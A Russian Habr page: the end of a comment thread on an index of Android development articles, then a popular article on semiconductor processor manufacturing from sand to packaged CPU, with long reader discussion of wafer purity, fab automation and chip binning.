В «Другое» пошли статьи, которые не совсем стыковались с первыми тремя, а в «Полезное» пошли просто полезные статьи на какие-то общие темы, но не только. Разбить на не пересекающиеся круги Эйлера все категории невозможно.
Tibr
Советую статьи «Пишем Magic 8-Ball для Android», и «Пишем виджет ХабраКарма ex-CarmaWidget для Android», и им подобные ( в будущем) поместить в отдельную ветку, например, «Практическая реализация» ну или на Ваше усмотрение :)
elliadan
Топик полезен, плюсую, но вместо того чтобы поддерживать топик удобнее было бы завести блог разработка под андройд.
S0ulReaver
deniskin
Вот это прекрасно, перенес свой топик туда.
S0ulReaver
Продолжаю эстафету! :)
Bektimirov
Какие блоги еще добавить? За предожениями прошу по ссылке: habrahabr.ru/qa/3753/
deniskin
Ух, а если я перенесу туда свой топик, он ведь по старой ссылке habrahabr.ru/blogs/android/109944/ перестанет открываться?
Hoorsh
Не беспокойтесь, всё будет открываться. Можете проверить, например Hello, NDK!, она тоже была перенесена из blogs/android в blogs/android_development
Tibr
Спасибо, переношу ;) А так действительно намного удобнее! Тяжко разгребать обзоры разные, когда хочется найти что-то именно по разработке. Так что второе спасибо вам за топик, S0ulReaver за идею отдельного блога и deniskin'у за оперативность :)
Hoorsh
Думаю, в списке не хватает 1 статьи:
Хабраиндекс для статей по программированию для Android
;-)
SabMakc
замкнутая рекурсия )
bondbig
спасибо.
mipan
Преогромнейшее вам спасибо!
NeonMercury
Я начинаю верить что все это не случайно, я только сегодня скачала SDK и принял волевое решение написать свой продукт для android, или как минимум попробовать.
zemka
было бы здорово пригвоздить этот индекс первым постом в блоге.
recky
Отлично! Теперь удаляем из избранного статей так 10 и добавляем одну :)
Butylski
Огромное спасибо!
silwester
Спасибо, действительно, отличная и полезная статья! Собрано много всего интересного. Пригодится, уверен, очень многим (хотя бы потому, сколько человек добавили статью в избранное).
savex
Только обновляйте обязательно, пожалуйста!
agul
В свою очередь, я рекомендую вам помещать свои статьи в блог habrahabr.ru/blogs/android_development/
Mobyman
Начинание заглохло?
Tibr
Топик обновляется. А если автор поста напишет личное сообщение Tibr, тогда статья быстрее попадет в хабраиндекс.
Автору огромное спасибо!
romanstr
А нет ли где статьи о том, как действительно начать?

Я пытаюсь начать, но никак не могу установить SDK, Eclipse и прочее. Я просто не понимаю, как это сделать. В «родной» инструкци — developer.android.com/sdk/installing.html — я встаю в тупик уже на первом этапе. Эклипс просто не запускается и все тут, не могу, говорит, найти JDK или JRE.

Устанавливаю под Убунту.

Как все это поставить, чтобы начать?
BOOMik
Не, ну там же по-русски написано «Before getting started with the Android SDK, take a moment to confirm that your development computer meets the System Requirements. In particular, you might need to install the JDK, if you don't have it already. „
ivanych
Статья «Сервисы — это просто» судя по всему удалена. А жаль…
Tibr
А есть еще неплохие две статейки по ListView:
habrahabr.ru/blogs/android_development/133569/
habrahabr.ru/blogs/android_development/133575/

предлагаю добавить в индекс
kEemo
Спасибо за индекс.
Курс обучения можно добавить: habrahabr.ru/post/194084/
   Сложно в это поверить, но современный процессор является самым сложным готовым продуктом на Земле – а ведь, казалось бы, чего сложного в этом куске железа?



Как и обещал – подробный рассказ о том, как делают процессоры… начиная с песка. Все, что вы хотели знать, но боялись спросить )


Я уже рассказывал о том, «Где производят процессоры» и о том, какие «Трудности производства» на этом пути стоят. Сегодня речь пойдет непосредственно про само производство – «от и до».

Производство процессоров


   Когда фабрика для производства процессоров по новой технологии построена, у нее есть 4 года на то, чтобы окупить вложенные средства (более $5млрд) и принести прибыль. Из несложных секретных расчетов получается, что фабрика должна производить не менее 100 работающих пластин в час.

   Вкратце процесс изготовления процессора выглядит так: из расплавленного кремния на специальном оборудовании выращивают монокристалл цилиндрической формы. Получившийся слиток охлаждают и режут на «блины», поверхность которых тщательно выравнивают и полируют до зеркального блеска. Затем в «чистых комнатах» полупроводниковых заводов на кремниевых пластинах методами фотолитографии и травления создаются интегральные схемы. После повторной очистки пластин, специалисты лаборатории под микроскопом производят выборочное тестирование процессоров – если все «ОК», то готовые пластины разрезают на отдельные процессоры, которые позже заключают в корпуса.

Уроки химии


   Давайте рассмотрим весь процесс более подробно. Содержание кремния в земной коре составляет порядка 25-30% по массе, благодаря чему по распространённости этот элемент занимает второе место после кислорода. Песок, особенно кварцевый, имеет высокий процент содержания кремния в виде диоксида кремния (SiO2) и в начале производственного процесса является базовым компонентом для создания полупроводников.



Первоначально берется SiO2 в виде песка, который в дуговых печах (при температуре около 1800°C) восстанавливают коксом:
SiO2 + 2C = Si + 2CO
   Такой кремний носит название «технический» и имеет чистоту 98-99.9%. Для производства процессоров требуется гораздо более чистое сырье, называемое «электронным кремнием» — в таком должно быть не более одного чужеродного атома на миллиард атомов кремния. Для очистки до такого уровня, кремний буквально «рождается заново». Путем хлорирования технического кремния получают тетрахлорид кремния (SiCl4), который в дальнейшем преобразуется в трихлорсилан (SiHCl3):
3SiCl4 + 2H2 + Si ↔ 4SiHCl3
Данные реакции с использованием рецикла образующихся побочных кремнийсодержащих веществ снижают себестоимость и устраняют экологические проблемы:
2SiHCl3 ↔ SiH2Cl2 + SiCl4
2SiH2Cl2 ↔ SiH3Cl + SiHCl3
2SiH3Cl ↔ SiH4 + SiH2Cl2
SiH4 ↔ Si + 2H2
   Получившийся в результате водород можно много где использовать, но самое главное то, что был получен «электронный» кремний, чистый-пречистый (99,9999999%). Чуть позже в расплав такого кремния опускается затравка («точка роста»), которая постепенно вытягивается из тигля. В результате образуется так называемая «буля» — монокристалл высотой со взрослого человека. Вес соответствующий — на производстве такая дуля весит порядка 100 кг.



   Слиток шкурят «нулёвкой» :) и режут алмазной пилой. На выходе – пластины (кодовое название «вафля») толщиной около 1 мм и диаметром 300 мм (~12 дюймов; именно такие используются для техпроцесса в 32нм с технологией HKMG, High-K/Metal Gate). Когда-то давно Intel использовала диски диаметром 50мм (2"), а в ближайшем будущем уже планируется переход на пластины с диаметром в 450мм – это оправдано как минимум с точки зрения снижения затрат на производство чипов. К слову об экономии — все эти кристаллы выращиваются вне Intel; для процессорного производства они закупаются в другом месте.

Каждую пластину полируют, делают идеально ровной, доводя ее поверхность до зеркального блеска.



   Производство чипов состоит более чем из трёх сотен операций, в результате которых более 20 слоёв образуют сложную трёхмерную структуру – доступный на Хабре объем статьи не позволит рассказать вкратце даже о половине из этого списка :) Поэтому совсем коротко и лишь о самых важных этапах.

   Итак. В отшлифованные кремниевые пластины необходимо перенести структуру будущего процессора, то есть внедрить в определенные участки кремниевой пластины примеси, которые в итоге и образуют транзисторы. Как это сделать? Вообще, нанесение различных слоев на процессорную подложу это целая наука, ведь даже в теории такой процесс непрост (не говоря уже о практике, с учетом масштабов)… но ведь так приятно разобраться в сложном ;) Ну или хотя бы попытаться разобраться.

Фотолитография


   Проблема решается с помощью технологии фотолитографии — процесса избирательного травления поверхностного слоя с использованием защитного фотошаблона. Технология построена по принципу «свет-шаблон-фоторезист» и проходит следующим образом:
— На кремниевую подложку наносят слой материала, из которого нужно сформировать рисунок. На него наносится фоторезист — слой полимерного светочувствительного материала, меняющего свои физико-химические свойства при облучении светом.
— Производится экспонирование (освещение фотослоя в течение точно установленного промежутка времени) через фотошаблон
— Удаление отработанного фоторезиста.
   Нужная структура рисуется на фотошаблоне — как правило, это пластинка из оптического стекла, на которую фотографическим способом нанесены непрозрачные области. Каждый такой шаблон содержит один из слоев будущего процессора, поэтому он должен быть очень точным и практичным.



   Иной раз осаждать те или иные материалы в нужных местах пластины просто невозможно, поэтому гораздо проще нанести материал сразу на всю поверхность, убрав лишнее из тех мест, где он не нужен — на изображении выше синим цветом показано нанесение фоторезиста.

   Пластина облучается потоком ионов (положительно или отрицательно заряженных атомов), которые в заданных местах проникают под поверхность пластины и изменяют проводящие свойства кремния (зеленые участки — это внедренные чужеродные атомы).

   Как изолировать области, не требующие последующей обработки? Перед литографией на поверхность кремниевой пластины (при высокой температуре в специальной камере) наносится защитная пленка диэлектрика – как я уже рассказывал, вместо традиционного диоксида кремния компания Intel стала использовать High-K-диэлектрик. Он толще диоксида кремния, но в то же время у него те же емкостные свойства. Более того, в связи с увеличением толщины уменьшен ток утечки через диэлектрик, а как следствие – стало возможным получать более энергоэффективные процессоры. В общем, тут гораздо сложнее обеспечить равномерность этой пленки по всей поверхности пластины — в связи с этим на производстве применяется высокоточный температурный контроль.



   Так вот. В тех местах, которые будут обрабатываться примесями, защитная пленка не нужна – её аккуратно снимают при помощи травления (удаления областей слоя для формирования многослойной структуры с определенными свойствами). А как снять ее не везде, а только в нужных областях? Для этого поверх пленки необходимо нанести еще один слой фоторезиста – за счет центробежной силы вращающейся пластины, он наносится очень тонким слоем.



   В фотографии свет проходил через негативную пленку, падал на поверхность фотобумаги и менял ее химические свойства. В фотолитографии принцип схожий: свет пропускается через фотошаблон на фоторезист, и в тех местах, где он прошел через маску, отдельные участки фоторезиста меняют свойства. Через маски пропускается световое излучение, которое фокусируется на подложке. Для точной фокусировки необходима специальная система линз или зеркал, способная не просто уменьшить, изображение, вырезанное на маске, до размеров чипа, но и точно спроецировать его на заготовке. Напечатанные пластины, как правило, в четыре раза меньше, чем сами маски.



   Весь отработанный фоторезист (изменивший свою растворимость под действием облучения) удаляется специальным химическим раствором – вместе с ним растворяется и часть подложки под засвеченным фоторезистом. Часть подложки, которая была закрыта от света маской, не растворится. Она образует проводник или будущий активный элемент – результатом такого подхода становятся различные картины замыканий на каждом слое микропроцессора.



   Собственно говоря, все предыдущие шаги были нужны для того, чтобы создать в необходимых местах полупроводниковые структуры путем внедрения донорной (n-типа) или акцепторной (p-типа) примеси. Допустим, нам нужно сделать в кремнии область концентрации носителей p-типа, то есть зону дырочной проводимости. Для этого пластину обрабатывают с помощью устройства, которое называется имплантер — ионы бора с огромной энергией выстреливаются из высоковольтного ускорителя и равномерно распределяются в незащищенных зонах, образованных при фотолитографии.



   Там, где диэлектрик был убран, ионы проникают в слой незащищенного кремния – в противном случае они «застревают» в диэлектрике. После очередного процесса травления убираются остатки диэлектрика, а на пластине остаются зоны, в которых локально есть бор. Понятно, что у современных процессоров может быть несколько таких слоев — в таком случае на получившемся рисунке снова выращивается слой диэлектрика и далее все идет по протоптанной дорожке — еще один слой фоторезиста, процесс фотолитографии (уже по новой маске), травление, имплантация… ну вы поняли.

   Характерный размер транзистора сейчас — 32 нм, а длина волны, которой обрабатывается кремний — это даже не обычный свет, а специальный ультрафиолетовый эксимерный лазер — 193 нм. Однако законы оптики не позволяют разрешить два объекта, находящиеся на расстоянии меньше, чем половина длины волны. Происходит это из-за дифракции света. Как быть? Применять различные ухищрения — например, кроме упомянутых эксимерных лазеров, светящих далеко в ультрафиолетовом спектре, в современной фотолитографии используется многослойная отражающая оптика с использованием специальных масок и специальный процесс иммерсионной (погружной) фотолитографии.



   Логические элементы, которые образовались в процессе фотолитографии, должны быть соединены друг с другом. Для этого пластины помещают в раствор сульфата меди, в котором под действием электрического тока атомы металла «оседают» в оставшихся «проходах» — в результате этого гальванического процесса образуются проводящие области, создающие соединения между отдельными частями процессорной «логики». Излишки проводящего покрытия убираются полировкой.



Финишная прямая


   Ура – самое сложное позади. Осталось хитрым способом соединить «остатки» транзисторов — принцип и последовательность всех этих соединений (шин) и называется процессорной архитектурой. Для каждого процессора эти соединения различны – хоть схемы и кажутся абсолютно плоскими, в некоторых случаях может использоваться до 30 уровней таких «проводов». Отдаленно (при очень большом увеличении) все это похоже на футуристическую дорожную развязку – и ведь кто-то же эти клубки проектирует!



   Когда обработка пластин завершена, пластины передаются из производства в монтажно-испытательный цех. Там кристаллы проходят первые испытания, и те, которые проходят тест (а это подавляющее большинство), вырезаются из подложки специальным устройством.



На следующем этапе процессор упаковывается в подложку (на рисунке – процессор Intel Core i5, состоящий из CPU и чипа HD-графики).



Привет, сокет!


   Подложка, кристалл и теплораспределительная крышка соединяются вместе – именно этот продукт мы будем иметь ввиду, говоря слово «процессор». Зеленая подложка создает электрический и механический интерфейс (для электрического соединения кремниевой микросхемы с корпусом используется золото), благодаря которому станет возможным установка процессора в сокет материнской платы – по сути, это просто площадка, на которой разведены контакты от маленького чипа. Теплораспределительная крышка является термоинтерфейсом, охлаждающим процессор во время работы – именно к этой крышке будут примыкать система охлаждения, будь то радиатор кулера или здоровый водоблок.





   Сокет (разъём центрального процессора) — гнездовой или щелевой разъём, предназначенный для установки центрального процессора. Использование разъёма вместо прямого распаивания процессора на материнской плате упрощает замену процессора для модернизации или ремонта компьютера. Разъём может быть предназначен для установки собственно процессора или CPU-карты (например, в Pegasos). Каждый разъём допускает установку только определённого типа процессора или CPU-карты.



   На завершающем этапе производства готовые процессоры проходят финальные испытания на предмет соответствия основным характеристикам – если все в порядке, то процессоры сортируются в нужном порядке в специальные лотки – в таком виде процессоры уйдут производителям или поступят в OEM-продажу. Еще какая-то партия пойдет на продажу в виде BOX-версий – в красивой коробке вместе со стоковой системой охлаждения.



The end


   Теперь представьте себе, что компания анонсирует, например, 20 новых процессоров. Все они различны между собой – количество ядер, объемы кэша, поддерживаемые технологии… В каждой модели процессора используется определенное количество транзисторов (исчисляемое миллионами и даже миллиардами), свой принцип соединения элементов… И все это надо спроектировать и создать/автоматизировать – шаблоны, линзы, литографии, сотни параметров для каждого процесса, тестирование… И все это должно работать круглосуточно, сразу на нескольких фабриках… В результате чего должны появляться устройства, не имеющие права на ошибку в работе… А стоимость этих технологических шедевров должна быть в рамках приличия… Почти уверен в том, что вы, как и я, тоже не можете представить себе всего объема проделываемой работы, о которой я и постарался сегодня рассказать.

   Ну и еще кое-что более удивительное. Представьте, что вы без пяти минут великий ученый — аккуратно сняли теплораспределительную крышку процессора и в огромный микроскоп смогли увидеть структуру процессора – все эти соединения, транзисторы… даже что-то на бумажке зарисовали, чтобы не забыть. Как думаете, легко ли изучить принципы работы процессора, располагая только этими данными и данными о том, какие задачи с помощью этого процессора можно решать? Мне кажется, примерно такая картина сейчас видна ученым, которые пытаются на подобном уровне изучить работу человеческого мозга. Только если верить стэнфордским микробиологам, в одном человеческом мозге находится больше «транзисторов», чем во всей мировой IT-инфраструктуре. Интересно, правда?

BONUS


   Хватило сил дочитать до этого абзаца? ) Поздравляю – приятно, что я постарался не зря. Тогда предлагаю откинуться на спинку кресла и посмотреть всё описанное выше, но в виде более наглядного видеоролика – без него статья была бы не полной.



Эту статью я писал сам, пытаясь вникнуть в тонкости процесса процессоростроения. Я к тому, что в статье могут быть какие-то неточности или ошибки — если найдете что-то, дайте знать. А вообще, чтобы окончательно закрепить весь прочитанный материал и наглядно понять то, что было недопонято в моей статье, пройдите по этой ссылке. Теперь точно всё.


Успехов!
zed
Отличные иллюстрации к интересному посту! :)
netAn
Хороший пост. Только почему Фейсбук не дает объективную обратную связь?

ДАЁШЬ КНОПКУ

netAn
An error occurred:
Item not found. This item may have been removed by its author.
miguello
Очень интересно :) Я уж было подумал что кнопка Мне нравится в конце статьи кликабельна и даже попробовал нажать :)
Screatch
пила на картинках клёвая)))
Спасибо за статью)
kagen
Нанопила! ))
woopler
Спасибо. Интересно.
Keane
>В результате образуется так называемая «Буля» — монокристалл высотой со взрослого человека. Вес соответствующий — на производстве такая Дуля весит порядка 100 кг.
так буля или дуля?
Legionerus
Ничего не меняет, хоть «хренью» ее назови.
ElysiumDoyle
как же не меняет, вот вы начните рассказывать кому-нить о «Буле». а потом назовите её «Дулей» и посмотрите реакцию собеседника
Legionerus
Когда я первый раз услышал про «булю», мне показалось, что я ослышался и услышал слово «дуля» — как-то запомнилась такая игра слов ) Надеюсь, тут все поймут, что к чему ) Ведь и нулёвкой никто «дулю» не шкурит, если что
Boomburum
вот только есть разница между «услышать» и «прочитать»
Legionerus
Бумбурум — аудиал, все свои ощущения выражает в звуковой терминологии :)
merlin-vrn
и если что ru.wiktionary.org/wiki/дуля
Legionerus
как снова побывал на микропроцессорной технике в универе, это вроде вводная лекция у нас была
bismark
Где вы учились?
StopKran
В принципе, я учился в МЭИ и весь этот материал был у нас рассказан за пару лекций. Но то было очень «сухо» и скучно — запомнилось все только в общих чертах и когда я делал этот пост, как будто заново все изучал…
Boomburum
Жаль, что вам профессор Жуков не преподавал микроэлектронику. Это у нас на кафедре НТ был такой, точнее он и сейчас есть :)
Лювлю себя на мысли, что могу с закрытыми глазами чуть ли не все операции формирования такого чипа нарисовать.

И да, все таки вэйфер, а не вафля.
budyakov
«Вафля» это как профессиональный рабочий жаргон, а так да, wafer )
Boomburum
Костромской государственный технологический университет, профессор интересно рассказывал про техпроцесс, даже показывал пластину с фотолитографией
bismark
У меня по фотолитографии и по выращиванию кристаллов были курсовые работы. Открыл для себя много нового :)
librarian
Статья идеальна! Спасибо. Низко кланяюсь.
ElysiumDoyle
Интересная статья дядька :) спасибо :)
Vertex
прохладная история, братец
pin
Чёрт подери, ну наконец то.
ЗЫ
А есть 2ая картинка из поста в разрешении повыше? Хочу себе такую обоину =)
hardex
upload.wikimedia.org/wikipedia/ru/7/72/Chohralsky_Silicon_Crystal_Growth.jpg 3,7к на что-то там, думаю, вам хватит.
JiLiZART
А что «наконец-то»? Материалов по данной теме в сети навалом. В том числе и с очень похожим названием и очень похожими иллюстрациями. И даже с очень похожим видео. Годичной давности…
Shirixae
Это вам не Чубайс. )) Респект!
Mezomish
Правильно!
Чубайс — круче. Заводу интел надо себя окупить за 4 года на 5 млрд. $, а ему — не надо. Он за 4 года эти 5 млрд может просто сп**дить — эффективнее любого завода. Прямо человек-параход^W человек-завод какой-то!
woopler
А вот интересно, откуда берут песок?
Я полагаю, что любой не подойдет, нужен с большим содержанием диоксида кремния и с малым числом примесей. Такой вопрос будет освещен?
moooV
А что, нужен чистый кварцевый песок? Приезжайте к нам в Дзержинку, на карьеры )
А вообще, в природе ничего идеально чистого не бывает — каким бы чистым не был добытый песок (диоксид кремния), всегда надо приложиться (время, деньги, силы, ум и т.д.), чтобы получить пригодное сырье нужного уровня.
Rayslava
Да я и не сомневаюсь, что надо приложиться.
Дзержинка? Это у вас там Лыткарино рядом? Тогда знаю, что за песок :)
И даже знаю, куда он идет.
Boomburum
Я сильно сомневаюсь, что Intel добывают песок у нас в городе, но в целом да — Дзержинка-Лыткарино-Люберцы )
Просто у нас в свое время накопали тут карьеров — тоже для какого-то производства
Rayslava
Да почти любой подойдет, это же только базовое сырье, из которого восстанавливают кремний, и потом еще чистят
Но конечно, удобнее если содержание кремния будет высокое
Золото когда добывают, если 5 грамм на тонну есть, то и хорошо
Boomburum
Чем больше примесей — тем больше затрат но очистку. Именно поэтому любой песок не подойдет. По причинам рентабельности )
z130
Любой подойдет. Просто он проходит несколько степеней очистки, от 2N до 12N.
destman
fucking epic. Бумбурум. Ты крутой. Вот реально. Спасибо огромадное.
ssneg
За последний год первая серия статей о Burum-а, которую с удовольствием прочитал. Очень интересно.
hiro
К слову сказать метод выращивания кристаллов, описанный в статье называется «методом Чохральского». Ян Чохральский предложил его еще в 1916 (!!!) и эта технология с рядом модификаций до сих пор является мейнстримом в области выращивания монокристаллов кремния.

Кстати, не смотря на катастрофический провал в полупроводниковой технологии, в России неплохо решают вопросы моделирования этого процесса, например, <a = href=«www.softimpact.ru/index_rus.php»>SoftImpact.
proc
Очень познавательная статья, хотя Ваши познания в химии делают меня плакать.
Может стоит писать чуть менее популярно?
zavg
Я не претендую не на звание физика, ни на звание химика ;) Пришлите примечания в личку, исправлю что не так. Спасибо!
rlaovai
Интересная статья, особенно благодаря красивым иллюстрациям!
С удовольствием прочитал на одном дыхании.

Спасибо. +1
Boomburum
Читал и вспоминал институтские годы. Курсе на третьем, емнип, это было)
Спасибо за статью. Даже захотелось сходить в родной четвертый корпус и посмотреть как там поживают преподаватели.
Webtun
ппц! а я еще негодовал по поводу высоких цен на процы. да я б если их сам изготовлял, то за сотни тыщ продавал, а тут всего то червонец-два…

… теперь ясно, почему пластина круглая :)
N1ghtroad
В общих чертах неплохо.
Но много интересных особенностей упущенно…
ColorFlow
Каких, например? Я не стал писать очень много технических нюансов, хотя бы по той причине что у меня их практически не было ) А про химию и т.д. постарался рассказать лишь по этой просьбе.
Но я не против сделать еще один пост, более технический — предварительно обсудив все со специалистами компании. Поэтому задавайте интересующие вас вопросы, можно в личку. Мне уже задали порядка 10 вопросов и, в принципе, еще один пост буквально напрашивается ;)
destman
Забыл ссылку. По этой просьбе
Boomburum
Из интересностей хотелось бы узнать:
0) Почему подложка зовется вафля? Это только языковой прикол (wafer по английски еще и вафля) или есть еще какието причины.
1) Почему кремний до сих пор используют в микроэлекторонике? Отработанная технология (и методы проектирования)? Относительная дешевизна заготовки? Чем он так хорош?
2) Метод зонной плавки еще используется? Это уже устарело и химия у нас такая чистая что сразу получаем заготовку с нужным уровнем примесей?
3) Используется ли обе стороны подложки или только одна? Полируют ли нижнюю часть пластины? Интересно былобы узнать (в еще лучше увидеть) как происходит процесс полировки.
4) Как устроена «чистая комната»?

А вообще довольно много чего есть интересного и по технологии (тех же спосбов фотолитографии сколько, у вас показан только бесконтактный способ видимо только для объяснения принципа) и по проектировке всего этого безобразия.
Ролики с реальными установками и процессами — вот это было бы очень интересно посмотреть )
Boomburum
Спасибо, сохранил. В принципе, на часть вопросов частично были даны ответы — почитайте две статьи (и комментарии к ним), которые я упомянул в начале статьи. Про остальное тогда в следующий раз уже, видимо
destman
Ну вообще визуально она как вафля — еще и тонкая — вполне себе печенье ))
Boomburum
Печенье в клеточку ))
z130
0) Потому что похожа на вафлю.
1) Кремний хорош потому что а) есть технология создания БОЛЬШИХ подложек, б) технология отработанная, материал хорошо известен в) SiO2 — это супер материал, который образуется на поверхности кремния сам и не проводит. (К слову, в современной технологии в транзисторе кремния уже не так много, но подложка — пока, и, видимо, надолго, кремниевая). Впрочем, сейчас часто используется SOI процесс: на кремниевой подложке толстый слой оксида, на нем кремний, и на нем транзистор: чтобы через подложку утечек не было. Дорого, правда.
2) Для очистки поверхностного слоя подложки от примесей (их должно быть меньше, чем один атом на 10-100 миллионов атомов кремния) применяется отжиг во всяких хитрых атмосферах.
3) только одна, к которой проведена специальная очистка поверхностного слоя от примесей. Полируют ли вторую не знаю, вроде нет, чтобы отличить было просто.
4) 90% фабрик в мире выглядят так: стоят машины и гудят. Между машинами ходят азиатские девочки, таскают подложки, давая на кнопки (редко).
z130
Спасибо за ответ — но цель тех вопросов была здать тему для возможных будущих статей бумбурума по этой тематике. И меня больше интересуют не общие ответы — а то что думают об этом в интеле.
З.Ы. 3) Полировать вторую поверхнсть если не используеш оную — себе дороже ибо есть такой интересный эффект- миграция дефектов с верхней (полированной) стороны к нижней (не полированной) стороне при нагревании.
theschmidts
Боюсь, что статья про детали техпроцесса, сделанная человеком, который этим не занимается и не очень разбирается, а увидел презентацию, сделанную скорее всего даже не инженером а PR менеджером (если инженером, то «для чайников»).

В комментариях к прошлой статье мы немного поспорили по срокам ввода 450мм пластин, например. Ему в российском Интеле сказали, что будут выпускать чипы в следующем году (полная чушь, там промышленным выпуском близко и не пахнет). И — та-да — на ЕЕТаймс на днях было официальное заявление, что они только собираются приступить к строительству исследовательской линии. Просто в местечковых офисах, далеких от исследовательских центров, часто люди не совсем в курсе происходящего, это общая проблема.

Я, Вам, кстати, написал то, что думают в основном конкуренте Интела (в смысле технологии) ;)

Про диффузию в подложке я знаю мало. Меня интересует, по долгу службы только denuded zone при поверхности, которую делают специально обученные люди и там дефектов почти нет. Но мне все же кажется, что Вы имеете в виду диффузию на масштабах толщины подложки (сотни микрон), а все интересное происходит на масштабах десятков нанометров.
destman
Как говорится надежда умирает последней. А вдруг бумбуруму попадется кто-нибудь более-менее технически грамотный из Интла. Так хоть вопросы будут каке интересные :)
А про эффект миграции — это происходит в процессе заготовки пластины (при отжиге).
При диффузии тоже наблюдается, но там температуры ниже и не так интересен )
theschmidts
Ну если при подготовке пластины, то тогда для front end процесса не важно: там все происходит после образования denuded zone, в которой все дефекты собраны в не мобильные устойчивые комплексы.
Температуры, кстати, сейчас до 1200 и выше цельсиев доходят. Правда время маленькое, так что диффузии почти нет.
destman
>>>4) 90% фабрик в мире выглядят так: стоят машины и гудят. Между машинами ходят азиатские девочки, таскают подложки, давая на кнопки (редко)

Сорри, не удержался…

Уже давно (с перехода на 12" вейферы) азиатские девочки не ходят между машинами. между машинами двигаются роботизированные тележки, которые перевозят кассеты с вейферами.
ручками такую кассету не поднимешь — весит по 10-12-15 кило минимум (зависит от конфигурации), т.е. поднять можно, но к концу смены руки овалятся. а опрокинытый/сломанный случайно вейфер может потянуть на пол-лимона (про руки — шутка, остальное — нет).

На самом деле заводы (современные, последние 10 лет) полностью автоматизированны. Людей нет. Все «телеги» и все «кассеты» оборудованны чипами РФ, для распознавания передвижения и отлаживания технологического процесса и тестинга в течении циклов литографии-гравировки-…
Вопрос тестинга в процессе изготавливания вейфера — сам по себе очень интересен. есть масса проблем (одна из них — на вскидку — карбонизация поверхности вейфера при тестинге электронным микроскопом)

* работал на Applied Materials — писал софт автоматизации передвижения вейферов по заводу и внутри машины…

** занятный факт: стандарт по которому работают заводы (передвижение материала) называется СЕКС, только пишется SECS — (semiconductor industry's standard for equipment-to-host communications), но на интервью очень прикольно звучит, когда говоришь, что на работе занимался СЕКСом… :)
theschmidts
О, спасибо за информацию.
На работающей 300мм фабрике я не был: в компании, в которой я работаю при найме делали тур, но по старой фабрике. Там еще были люди, но это был далекий 2007ой.
А поскольку я моделирую, то на фабрику мне ходить и не с руки…

На фабрику у нас всегда, кстати, зуб: еще не было случая, чтобы все от начала и до конца сделали как надо :)
А мы потом должны догадываться, то ли реальная физика хитрая, то ли просто подложку лишний раз отожгли (RF id, видимо, не всегда помогают, потому что на исследовательской линии люди-таки есть)…
iblesq
Респект за статью. Эх, ее бы когда я учился в универе да доклады писал на эту тему… Хочется спросить, а что делается с бракованными пластинами? Как я понимаю, на каждом этапе есть свой способ контроля качества, если в процессе, скажем фотолитографии, что-то запаролось, пластина идет на вторичную переработку? Или в полученных местах отключат ядро и мы имеем x3?
theschmidts
Что ценного в неработающем процессорном кристалле? Может, их бросают в печь вместе с песком, чтобы не создавать лишних отходов. Но скорее, просто выбрасывают — ведь песок стоит копейки, а ни на что ещё они не годны.

Хотите себе кремниевую пластинку? :)
ghosthope
Бракованную нет, но я где-то слышал, что мол у конкурентов Intel'a на нерабочих кристалла, если возможно, отключают ядро и вместо 4 ядер имеем 3. Вот решил поинтересоваться.
olololog
Контроль качества происходит уже после завершения создания кристалла. То есть когда пластина уже вышла с завода. Контроль притом идет не только логический, но и физический — смотрят токи, напряжения в куче точек, и потом решается уже куда идет кристалл. Есть идея, что в кристалле есть свои средства контроля кол-ва работающих ядер, поэтому на интеле лишь меняют маркировку, а проц сам «знает» сколько у него и чего работает.

PS. В самой кремниевой пластине с сотней чипов нету ничего интересного(
ghosthope
Проще обрубить контрольные перемычки перед упаковкой
Ну не может кристалл сам себя полностью оттестировать

Но скорее всего в ПЗУ кристалла прописывают маркировку процессора, частоту и какие ядра рабочие
А хитрый биос может эту инфу иногда игнорировать
Lerk
Контроль качества происходит перманентно — на всем процессе производтсва. Не всех вейферов, и, даже не всего вейфера, отобранного для проверки, но постоянно, после каждого этапа.
z130
А в чем смысла контроля после, например, очередного этапа ФЛ? Все равно поправить то ничего уже нельзя. Поясните, пожалуйста — интересно же)
iblesq
ну, во-первых попроавить можно. можно снять последний слой (смыть, напылить,… — зависит от последней операции) и переделать
во-вторых остановить процесс — если он уже запорон (запорот?) и не надо (навозможно) продолжать (выбраковать партию)
в-третьих определить где «прокол» чтобы сразу начать исправлять
можно еще привести примеры — просто не помню на вскидку…
Lerk
Не выбрасывают. Песок 2N и запоротая подложка 10-12N — две большие разницы. В мире электронного кремния есть фирмы-брокеры, которые живут на скупке и перепродаже кремниевого лома.
iblesq
Что значит «песок 2N»?
ssneg
Чистота 2N = 99%, т.е. 10 кг примесей на тонну
3N = 99.9%, т.е. 1 кг примесей на тонну
12N = 99.9999999999%, т.е. 0,000001 грамма примесей на тонну материала

Примерное условное деление:
2N — это технический кремний, используемый, например, в металлургии
7N — это солнечный кремний, для подложек ФЭП
12N — это электронный кремний: процессоры, микрочипы
olololog
Спасибо. А то, что на поверхность пластинок нанесены примеси, не влияет на чистоту?
ssneg
Тут уже «полезные» примеси наносят, со смыслом )
olololog
Такое ощущение, что читаешь какую-то научную фантастику! Даже в голове не укладывается как человек мог это все создать, да еще и производство на поток поставить.
Boomburum
спасибо, 5+ за статью и 5+ за кнопку в конце))
SEObomj
Спасибо, интересно! Вопрос такой, слышал следующее, говорят якобы после того как партия процессоров готова, что проверяется и вычисляется средняя частота процессора партии, и партия маркируется где то этим числом и наверное ставятся ограничения какие то, вследствие одни процы из одной и той партии могут гнаться по разному, может плохо выразился, что то правдивое в этом есть?
Vizakenjack
Действительно свойства одних и тех же процессоров в разных ревизиях могут различаться — где-то обычные процессоры, а где-то «такие же, но с перламутровыми пуговицами» ) Обычный пользователь этой разницы может незаметить — он купит процессор и он будет работать… а вот для оверклокеров это один из ключевых моментов для того, чтобы быть первым — важно не просто достать новый процессор, а выбрать самый-самый из «равных» — только с таким подходом можно возглавить рейтинг )

Как-то так:

lybin
Спасибо, будем теперь точно знать :)
Boomburum
Ревизия процессора (степпинг) — это «версия» процессорного ядра. Лучше всего про степпинг написано на сайте Intel'а. Если вкратце, структуру процессорного ядра могут дорабатывать, изменяются в конечном счёте и шаблоны фотолитографии.

Здесь же правильнее говорить о партии процессоров, либо (в контексте данной статьи) о процессорах с одной пластины. Кстати, процессоры с одной пластины сортируются по рабочим частотам, или они все получают одну и ту же тактовую частоту? Интересно узнать ответ на этот вопрос, да и сама технология сортировки более чем интересна.
lybin
Согласен, что «ревизия» это немного другое, поэтому, да, «партия» более подходящее слово. Насчет сортировки и т.д. постараюсь узнать — самому интересно
ekungurov
